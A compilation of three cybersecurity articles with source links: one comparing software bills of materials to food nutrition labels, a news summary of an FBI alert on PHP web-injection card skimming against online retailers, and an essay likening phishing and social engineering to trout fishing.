Countless studies and articles have documented the health dangers lurking in America’s fast food culture. Cheap, convenient meals, like a Big Mac, fries and a Coke contain something close to an adult’s daily ration of fat, carbohydrates and sodium. But, until recently, critical information like that wasn’t readily available to diners. The result has been an epidemic of obesity, memorialized in the 2004 documentary Super Size Me!, in which documentary filmmaker Morgan Spurlock ate nothing but McDonald’s for an entire month — a period during which he gained 24 lbs, saw his cholesterol levels soar and developed fatty liver disease.

For health and nutrition experts, the answer to the problem of food-borne risks was legislation. The November 1990 Nutrition Labeling and Education Act (NLEA) provided everyday Americans with detailed information on processed and packaged foods by mandating the use of a nutrition label. Subsequent to that, the Federal Food, Drug, and Cosmetic Act (FD&C Act) was amended to require chain restaurants and retail food establishments to post calorie and other nutrition information on menus, menu boards and signs for all standard menu items. These laws and regulations have empowered U.S. consumers to make informed decisions about the food they are buying in grocery stores and restaurants — including fast food chains.

Software quality is anyone’s guess
Alas, software developers and software development organizations find themselves in a similar place to fast food diners these days. Even a modest software application might contain hundreds- or thousands of discrete components from a number of sources: internally developed, commercially licensed and open source. Data from the firm Synopsys suggests that applications are becoming more complex, also. The average number of components in an application almost doubled between 2018 and 2021, increasing from 298 to 528 during that time.

Despite that, the same level of transparency doesn’t exist for software developers as shoppers and diners, even though the risks lurking in the software supply chain are well-documented. In 2014, for example, the so-called Heartbleed bug in the OpenSSL library affected around 17% of the Internet’s secure web servers (more than half a million systems) were vulnerable to attacks that could enable theft of the servers’ private keys and users’ session cookies and passwords. In the years since, incidents involving software supply chain risk have become regular occurrences. The 2020 hack of SolarWinds or the 2021 Log4j vulnerability or the compromise of CodeCov have led to a reckoning in the industry to bolster software security.

While there has been no legislative response to these attacks, the Biden Administration published an Executive Order on Improving the Nation’s Cybersecurity in May 2021, which specifically targets software supply chain security and calls upon federal agencies to take steps in establishing software security best practices. Afterwards, the National Institute of Standards and Technology (NIST) released their Secure Software Development Framework. In it, it calls for the use of Software Bills of Materials (SBOMs) – a kind of nutrition label in order to minimize software supply chain attack risk.

SBOM: A nutrition label for software
Similar to the iconic black and white nutrition label we see on food packaging today, an SBOM enables those dependent on software to understand what exactly is in the applications they’re using. This gives both software developers and users a better sense of the risks associated with their applications.

By directly comparing the nutritional food label to an SBOM, software practitioners can see why their use is of the utmost importance for securing the software supply chain.

Software bills of materials come in many forms, but almost all contain a few, key elements:

Product/Component Name: Designation typically defined by the original publisher.
Publisher Name: The name of an entity that creates, defines, and identifies components.
Product/Component Version: Identifier used by the supplier to specify a change in software from a previously identified version.
File Name: Serves as an additional identifier within a larger package of software
Software License: Indicates how open-source components can be used, modified and/or shared.
Dependencies: Identifies other sub-components that are included within the component.
Similar to an ingredients list, an SBOM offers a complete picture of what a software application consists of: third party software, open source software, statically linked packages, and other dependencies that run complicated and deep in an application.

An SBOM also provides insight into the complexity of a piece of software by documenting the variety and number of components it uses, including version numbers. Just like consumers can spot ingredients in a food product that are harmful, such as high-fructose corn syrup, software purchasers or development organizations can interrogate SBOMs for known-dangerous components like vulnerable versions of libraries like Log4j. Minimizing a list of components or ingredients, to only what is truly needed and is safe, can reduce unhelpful bloat (literally and figuratively).

Like a nutrition label, a good SBOM will hold software development organizations accountable for tracking and documenting exactly how an application has been made. Not all SBOMs show this bigger picture, namely those created from build manifests. Generating an SBOM just at this stage doesn’t list key components that arise during installation, which can cause developers to overlook vulnerabilities and tampering. This is why an SBOM must show “software as delivered,” meaning it includes the binaries and the packaging that went into an application’s deployment, providing developers with an extra security standard.

Having a list of software ingredients is a great start, what’s even better is expanding an SBOM with risk analysis of each component that detects malware, software tampering, exposed secrets, actively exploited vulnerabilities, etc. and determines the level of deployment risk posed by each component. This is akin to a nutrition label’s “daily value percentage” for each food group, which provides the context of what share of daily intake the portion would constitute. Prioritizing items listed in a SBOM by the level of the risk helps development and security teams understand how their software supply chain contributes to their applications’ risk profile. In comparison, an SBOM, enhanced with risk analysis, enables development teams to see which software publishers are delivering secure code and to assess whether the risk of using a component outweighs the “reward” it offers.

SBOMs: There’s still work to do
While the use of SBOMs is not mandated by the U.S. government, the software industry is becoming more open to their benefits, with 78% of organizations expecting to either produce or consume SBOMs in the future. However, the majority of the software industry has yet to get on board the SBOM train. A recent survey conducted by Dimensional Research found that only 27% of software development organizations generate and review SBOMs. This lack of usage of SBOMs enhanced with risk analysis leaves an organization’s software supply chain vulnerable to many types of attacks.

As the community continues to understand software supply chain risk, more and more threats to software security are discovered. For example, ReversingLabs researchers and others have established a proof-of-concept that dependency confusion attacks via NPM, a popular package repository site, are capable of attacking critical infrastructure. Also, ReversingLabs Reverse Engineer Karlo Zanki found that packages in the PyPI repository pose the risks of releasing secrets, plus overpowered PyPI plugins can be detrimental to development teams.

These growing risks are all the more reason why software publishing organizations need SBOMs. A good SBOM will provide transparency into the build, installation, and deployment processes, similar to how a nutrition label will shed light on how a food was made, and with what ingredients.

Software teams need to go beyond vulnerabilities
For software teams to stay vigilant on software supply chain security risks, they need to expand their approach to securing software beyond vulnerabilities. In Dimensional Research’s survey, 9 in 10 software professionals cited that the difficulty to create and review SBOMs is increasing, reasons being that organizations lack expertise, and they aren’t adequately staffed to review and analyze SBOMs.

Source & background links: https://develop.secure.software/sbom-facts-know-whats-in-software-fend-off-supply-chain-attacks

FBI: E-Tailers, Beware Web Injections for Scraping Credit-Card Data, Backdoors

Law enforcement is warning about a wave of Web injection attacks on US online retailers that are successfully stealing credit-card information from online checkout pages.

Cyberattackers are targeting US online businesses by injecting malicious PHP code into e-commerce checkout pages and exfiltrating scraped data to a command-and-control (C2) server spoofed to look like a legitimate credit-card processor.

That’s according to a flash alert from the FBI issued this week, which detailed one attack in particular that began in September 2020. Along with scraping credit-card data, the cybercriminals were modifying the business checkout page code to gain backdoor access to the business’ system. The FBI provided indicators of compromise and recommended mitigations for similar e-tailers, including patching and ongoing monitoring of e-commerce environments.

Businesses Should Take Alert ‘Seriously’
Cyvatar CISO Dave Cundiff explained in an emailed reaction to the alert that basic cybersecurity hygiene and monitoring would be enough to fend off this sort of attack.

“Continually verifying and monitoring an organization’s fundamental cybersecurity is a requirement these days,” Cundiff said. “If the fundamentals of an organization’s security are not strong, then the additional complexity of any additional security is useless.”

US businesses should take this alert seriously, according to Kunal Modasiya, senior director of product management at PerimeterX,.

“Given the risks of supply-chain attacks in general, it is important that businesses look beyond server-side security tools, such as static code analysis, external scanners, and the limitations of CSP to solutions,” Modasiya says.

Ron Bradley, vice president of Shared Assessments, meanwhile notes that organizations dealing with credit-card data, which he called “one of the crown jewels for fraudsters,” should have technical controls like file integrity monitoring (FIM) in place.

“If you’re running a website, especially one which transacts funds, and if you don’t have FIM implemented, I don’t want to shop there,” Bradley said. “Furthermore, you’re going to get pummeled by bad actors because you don’t have your house in order.”

Source and more details: https://www.darkreading.com/attacks-breaches/fbi-e-tailers-beware-web-injections-for-scraping-credit-card-data-backdoors

Why Cybercrime is like Trout Fishing

“Why push on a locked door when there’s an open window?”

As any seasoned fly angler knows, trout are highly selective, continuous feeders with their entire survival strategy centered on conserving energy, remaining close to a safe holding place, and gaining maximum protein intake with minimal movement. To fool the wily trout, fly angler have developed a practice of “matching the hatch” is used by fly anglers to present an artificial fly that most resembles what the trout are currently feeding on and getting it close to where a feeding trout is holding. And often, with the right presentation, the trout is fooled and hooked.

So what does fly fishing have to do with cyber security?

In many ways, cyber criminals behave exactly like seasoned fly anglers. Rarely do they waste time, energy and resources bombarding a company’s firewall. Or in the case of fly fishing, randomly cast using any fly pattern available. And as cybercrime becomes more sophisticated and controlled by criminal gangs and nation states, they favor a targeted approach. Cybercriminals today look for the easiest and quickest way through a company’s security defenses, often focusing on individual employees using an approach called social engineering.

Cybercriminals, like fly anglers, look for the easiest way to fool their target.  And in today’s disrupted business world that seems to be employees working from home, where in most cases the home environment is far less secure than the office IT environment. They also, like a fly angler matching the hatch, impersonate senior executives demanding a lower-level employee (for example from the finance department) wire money immediately to an (fake) client account. All too often the employee, when receiving an urgent email from a named senior executive, complies.

The savvy trout angler spends a great deal of time understanding the trout species they are targeting, the river environment, the types of insect life and potential food sources, most active feeding times etc. They even visit nearby fly shops and talk with knowledgeable fishing guides for specific information. They build a knowledge base used to match the hatch and fool the trout.

 In a similar way, a cybercriminal spends a great amount of time researching the company they are targeting. They scour LinkedIn profiles, search company websites for the names and titles of employees, gather information about employees on Facebook, Tinder, Instagram, Snapchat and other social media platforms. Recently they have begun to telephone employees at home pretending to be a legitimate research company, even offering cash for answering survey questions. In many cases, employee emails and other confidential information can be purchased from other criminal groups on the Dark Net. Using all this information they put together a list of potential employees to target with Phishing emails and social engineering.

Trout anglers know that older and larger trout are more “educated” in spotting real food from an anglers imitation. Older trout have probably seen numerous presentations from lots of different anglers and learned to be wary and highly selective. Also, the clearer the water, the more wary the trout are in general to protect themselves from predators. Smaller, younger trout have yet to learn and are easier to fool. 

Cybercriminals know that new employees are easier to fool as well. This is especially true when cyber security training is minimal and there is little peer to peer education about what to watch out for when it comes to email phishing and social engineering. And working from home has in most cases reduced the amount of team learning and peer to peer interactions, which provide a safe place for new employees to ask questions and seek advice. In many training classes few employees want to be singled out for asking “naïve” questions.

A Human Approach to Mitigating Cybercrime

To blunt the growing impact of cybercrime, companies need to focus more on the human aspect of cyber security. In most organizations, 98% of the cyber security budget is spent on technology and less than 2% on employees. Yet 88% of cyber breaches are the result of human error, poor cyber hygiene, mismanagement, and insider actions. Just 12% of breaches are due to technology failures. And 61% of cyber victims fail to report the incident. 

The analogy between fly fishing and cybercrime offers many opportunities for companies to improve their cyber security. For example, clarity of water in a trout stream is easily equated with open transparency and cross-functional communications in the corporate world. Learning from others, on-going communications about attempted cyberattacks and successful breaches allows everyone to learn quickly and become more aware and accountable. Having the IT department help secure the home technology and internet environment of senior executives, Board Directors and other high value targets helps prevent breaches and high-value-employee data mining by cyber criminals. Adding additional support for the cyber security and IT team to improve and keep on top of cyber hygiene, patches and software upgrades can go a long way in mitigating cyber risks.

Cyber security is the number one threat to businesses and organizations everywhere. Between 2020 and 2021, ransomware attacks increased by 60%, with the average ransomware payment approaching $4.5 million (IBM). And that’s just the payment to the hackers. The cost of downtime, lost revenue, reputational damage and decline in market value is nearly 10 times the ransom payment.

It is past time senior leaders prioritize the human firewall. Otherwise cybercrime will continue to grow and pose an ever growing threat to our global economy and way of life.

Source: https://www.linkedin.com/pulse/why-cybercrime-like-trout-fishing-john-r-childress/?trk=public_post